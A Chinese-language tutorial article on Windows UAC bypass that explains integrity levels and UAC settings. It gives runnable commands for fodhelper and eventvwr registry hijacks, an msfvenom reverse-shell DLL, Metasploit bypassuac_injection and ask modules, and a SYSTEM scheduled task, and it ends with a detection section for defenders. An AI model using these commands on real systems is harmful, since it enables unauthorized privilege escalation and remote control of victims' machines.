当前位置: 首页 > news >正文

Windows bypassUAC 提权技法详解(一)

引言

用户账户控制(User Account Control, 简称 UAC)是微软自 Windows Vista 起引入的一项安全功能,旨在通过要求用户在执行需要管理员权限的操作时进行确认,从而防止未经授权的系统更改。UAC 的设计初衷是提高系统安全性,防止恶意软件在未经用户许可的情况下篡改系统配置、安装软件或执行高权限操作。然而,对于安全研究人员、渗透测试人员来说,UAC 的存在可能成为权限提升过程中的一道障碍。因此,绕过 UAC(UAC Bypass)成为 Windows 权限提升领域的一个重要研究方向。

本文将详细探讨 Windows UAC 的工作原理、不同权限级别下管理员账户的行为,以及多种 UAC 绕过技术的实现方法和适用场景。


一、UAC 的工作原理与权限级别

1.1 UAC 的核心机制

UAC 的核心是通过强制执行权限分离和用户交互来限制未经授权的操作。当用户尝试执行需要管理员权限的操作(如修改系统文件、安装软件或运行特定管理工具)时,UAC 会触发以下行为:

  1. 权限验证:UAC 检查当前用户的权限级别。如果用户是普通用户,会要求输入管理员凭据;如果是 Administrators 组成员,则会弹出确认提示。
  2. 完整性级别(Integrity Level):Windows 使用完整性级别(Low、Medium、High)来区分进程的权限。普通进程默认运行在 Medium 完整性级别,而需要管理员权限的进程则运行在 High 完整性级别。UAC 确保只有通过验证的进程才能提升至 High 完整性级别。
  3. 自动提升(Auto-Elevation):某些微软签名的可执行文件(如 fodhelper.exeeventvwr.exe)被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。这些特性常被 UAC 绕过技术利用。

1.2 UAC 的设置级别

UAC 的行为受系统设置影响,Windows 提供了四种 UAC 级别:

  1. 始终通知(Always Notify):最高级别,任何需要管理员权限的操作都会触发 UAC 提示,即使是 Administrators 组用户也需要确认。
  2. 仅在程序尝试更改计算机时通知(默认设置):仅在非微软签名的程序尝试执行高权限操作时提示,适用于大多数 Administrators 组用户。
  3. 仅在程序尝试更改计算机时通知(不调暗桌面):与默认设置类似,但不切换到安全桌面,安全性稍低。
  4. 从不通知(Never Notify):关闭 UAC,Administrators 组用户无需确认即可运行高权限操作,但仍需手动触发“以管理员身份运行”。

1.3 500 管理员账户与 Administrators 组用户

在 Windows 系统中,管理员账户分为两类:

  • 500 管理员账户(内置 Administrator):这是 Windows 系统默认的内置管理员账户(SID 以 S-1-5-21-*-500 结尾)。当 UAC 启用时,该账户在“从不通知”模式下可以直接以 High 完整性级别运行进程,无需 UAC 提示。通过工具如 psexec.exe,500 管理员账户可以直接提升至 SYSTEM 权限。例如:

    psexec.exe -i -accepteula -s cmd.exe
    

    上述命令使用 psexec.exe 启动一个 SYSTEM 权限的命令提示符。

  • Administrators 组用户:这些用户是 Administrators 组的成员,但受 UAC 管控。在默认或更高 UAC 设置下,运行高权限操作时会触发 UAC 提示。绕过 UAC 是此类用户提权的关键。


二、UAC 绕过技术的分类与实现

UAC 绕过技术通常利用 Windows 系统中的漏洞、可信执行路径或社会工程学手段来实现权限提升。以下是常见的 UAC 绕过方法,结合具体实现和适用场景进行分析。

2.1 自动提升可执行文件(Auto-Elevated Binaries)

许多 Windows 自带的可执行文件被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。攻击者通过修改这些文件的执行路径或注册表配置,诱导系统执行恶意代码。常见的目标包括 fodhelper.exeeventvwr.exesdclt.exe

2.1.1 Fodhelper 绕过

fodhelper.exe 是一个用于管理 Windows 可选功能的工具,具备自动提升特性。攻击者可以通过修改注册表,劫持其执行路径以运行自定义命令。以下是一个典型的手动实现步骤:

  1. 检查权限

    whoami /all
    

    确认当前用户在 Administrators 组且处于 Medium 完整性级别。

  2. 修改注册表

    New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe"
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
    
  3. 触发执行

    Start-Process fodhelper.exe
    

此方法通过注册表劫持 ms-settings 的默认打开命令,使得 fodhelper.exe 执行时启动 cmd.exe 或其他恶意 payload,从而获得 High 完整性级别的进程。

2.1.2 Eventvwr 绕过

eventvwr.exe(事件查看器)是另一个自动提升的可执行文件,可通过修改注册表中的 mscfile 键来执行恶意命令。实现步骤如下:

  1. 确认自动提升特性

    strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
    

    验证 eventvwr.exe 是否支持自动提升(结果应包含 true)。

  2. 修改注册表

    reg add "HKCU\Software\Classes\mscfile\shell\open\command" /t REG_SZ /d "cmd.exe /c start C:\Path\To\payload.exe" /f
    
  3. 执行触发

    eventvwr.exe
    

完成后,eventvwr.exe 会启动指定的 payload.exe,获得高权限 shell。

2.2 DLL 劫持(DLL Hijacking)

DLL 劫持利用 Windows 的 DLL 加载顺序,诱导自动提升的程序加载恶意 DLL 文件,从而执行高权限代码。以下是一个典型案例:

  1. 寻找目标程序
    找到一个自动提升的程序(如 fodhelper.exe)并检查其依赖的 DLL 文件。例如,使用 Process Monitor 观察程序加载的 DLL。

  2. 创建恶意 DLL
    使用工具如 MSFvenom 生成恶意 DLL:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
    
  3. 放置恶意 DLL
    malicious.dll 放置在目标程序的搜索路径中(例如 C:\Windows\System32 的可写子目录)。

  4. 触发执行
    运行目标程序,加载恶意 DLL,从而获得高权限 shell。

DLL 劫持的优点是隐蔽性强,但需要目标程序存在 DLL 加载漏洞,且在高 UAC 级别(如“始终通知”)下可能失效。

2.3 环境变量操纵

通过修改环境变量(如 PATHwindir),攻击者可以重定向可信程序的执行路径。例如,修改 windir 环境变量以指向伪造的系统目录:

  1. 修改环境变量

    set windir=C:\Malicious
    
  2. 放置恶意文件
    C:\Malicious\System32 中放置伪造的 cmd.exe 或其他可执行文件。

  3. 触发可信程序
    运行一个依赖 windir 的自动提升程序(如 CDSSync 任务),诱导其加载恶意文件。

此方法在非“始终通知”级别下有效,但在高安全设置下可能被检测。

2.4 Metasploit 的 UAC 绕过模块

Metasploit 提供了多个 UAC 绕过模块,简化了提权过程。以下是两个常用模块的介绍:

2.4.1 exploit/windows/local/bypassuac_injection

此模块利用可信发布者证书通过进程注入绕过 UAC,生成一个无 UAC 提示的高权限 shell。使用步骤:

  1. 启动 Meterpreter 会话

    msfconsole
    use multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit
    
  2. 使用 bypassuac_injection 模块

    use exploit/windows/local/bypassuac_injection
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4445
    exploit
    
  3. 结果
    模块会注入恶意代码到自动提升的进程中,生成一个高权限的 Meterpreter 会话。

2.4.2 exploit/windows/local/ask

在“始终通知”级别下,UAC 绕过变得困难,ask 模块通过社会工程学诱导用户点击 UAC 提示来提权。使用步骤:

  1. 启动 Meterpreter 会话(同上)。

  2. 使用 ask 模块

    use exploit/windows/local/ask
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4446
    exploit
    
  3. 诱导用户交互
    模块会触发 UAC 提示,伪装为合法操作(如系统更新),诱导目标点击“确认”。

此方法依赖用户交互,适用于社会工程学场景,但成功率受目标警惕性影响。


三、不同 UAC 设置下的适用策略

3.1 非“始终通知”级别

在默认或较低 UAC 设置下,Administrators 组用户可以通过以下方法绕过 UAC:

  • 自动提升可执行文件:如 fodhelper.exeeventvwr.exe 等,利用注册表劫持快速提权。
  • DLL 劫持:利用 DLL 加载顺序漏洞,隐蔽性较高。
  • Metasploit 模块bypassuac_injection 等模块提供自动化提权方案。
  • 环境变量操纵:通过修改 windirPATH 实现路径重定向。

3.2 “始终通知”级别

在最高 UAC 级别下,绕过 UAC 通常需要用户交互,推荐策略包括:

  • Metasploit ask 模块:通过伪装合法提示诱导用户确认。
  • 社会工程学:利用伪装的更新提示或钓鱼邮件诱导用户点击 UAC 提示。
  • 计划任务:创建高权限计划任务,绕过 UAC 提示:
    schtasks /create /tn "MaliciousTask" /tr "C:\Path\To\payload.exe" /sc once /st 00:00 /ru SYSTEM
    schtasks /run /tn "MaliciousTask"
    

四、防御与检测 UAC 绕过

4.1 防御措施

  1. 启用“始终通知”级别:确保所有高权限操作都需要用户确认。
  2. 限制 Administrators 组成员:减少非必要管理员账户,降低提权风险。
  3. 监控注册表更改:关注 HKCU\Software\Classes 和环境变量相关键的修改。
  4. 使用安全软件:部署 EDR(如 Elastic Endpoint)检测 DLL 劫持和异常进程行为。

4.2 检测方法

  1. EQL 查询
    使用 Elastic Query Language(EQL)检测 DLL 劫持:

    sequence by host.id
    [file where event.action in ("creation", "overwrite", "rename", "modification") and process.name : "dllhost.exe"]
    [library where user.id : "S-1-5-18" and not (dll.code_signature.subject_name : "Microsoft *")]
    
  2. 监控自动提升进程
    检查 fodhelper.exeeventvwr.exe 等进程的异常子进程创建。

  3. 日志分析
    分析事件日志中的 UAC 相关条目,检测异常的权限提升行为。


五、总结

Windows UAC 绕过技术是权限提升领域的重要研究方向,对于安全研究和渗透测试具有重要意义。500 管理员账户在“从不通知”模式下可以直接提权至 SYSTEM,而 Administrators 组用户则需根据 UAC 设置选择合适的绕过方法。在非“始终通知”级别下,自动提升可执行文件、DLL 劫持和环境变量操纵是主流技术;在最高 UAC 级别下,社会工程学和 ask 模块成为主要手段。

http://www.xdnf.cn/news/1297513.html

相关文章:

  • 基于FPGA的8PSK+卷积编码Viterbi译码通信系统,包含帧同步,信道,误码统计,可设置SNR
  • Python之Django使用技巧(附视频教程)
  • HTML <link rel=“preload“>:提前加载关键资源的性能优化利器
  • 企业智脑正在构建企业第二大脑,四大场景引擎驱动数字化转型新范式
  • C++入门自学Day11-- List类型的自实现
  • 手写MyBatis第16弹:泛型魔法应用:MyBatis如何破解List的运行时类型
  • 一种适用于 3D 低剂量和少视角心脏单光子发射计算机断层成像(SPECT)的可泛化扩散框架|文献速递-深度学习人工智能医疗图像
  • OpenCV 高斯模糊降噪
  • Spring Boot + Redis + 布隆过滤器防止缓存穿透
  • 带root权限_贝尔RG020ET-CA融合终端S905L处理器当贝纯净版刷机教程
  • 分布式系统架构设计模式:从微服务到云原生
  • pycharm远程连接服务器跑实验详细操作
  • Go语言实战案例:简易图像验证码生成
  • Java 设计模式-组合模式
  • Vscode的wsl环境开发ESP32S3的一些问题总结
  • 在 Windows 系统中解决 Git 推送时出现的 Permission denied (publickey) 错误,请按照以下详细步骤操作:
  • 宋红康 JVM 笔记 Day01|JVM介绍
  • [工具]vscode 使用AI 优化代码
  • 使用EvalScope对GPT-OSS-20B进行推理性能压测实战
  • 【完整源码+数据集+部署教程】肾脏病变实例分割系统源码和数据集:改进yolo11-CARAFE
  • 自动化运维实验(二)---自动识别设备,并导出配置
  • AM32电调学习-使用Keil编译uboot
  • 搭建局域网yum源仓库全流程
  • 华为实验 链路聚合
  • GoLand 项目从 0 到 1:第八天 ——GORM 命名策略陷阱与 Go 项目启动慢问题攻坚
  • 更新pip及Python软件包的完整指南
  • STM32HAL 快速入门(七):GPIO 输入之光敏传感器控制蜂鸣器
  • 第3节 深度学习避坑指南:从过拟合到玄学优化
  • 92、23种设计模式-单例模式
  • 【软考架构】信息安全基础知识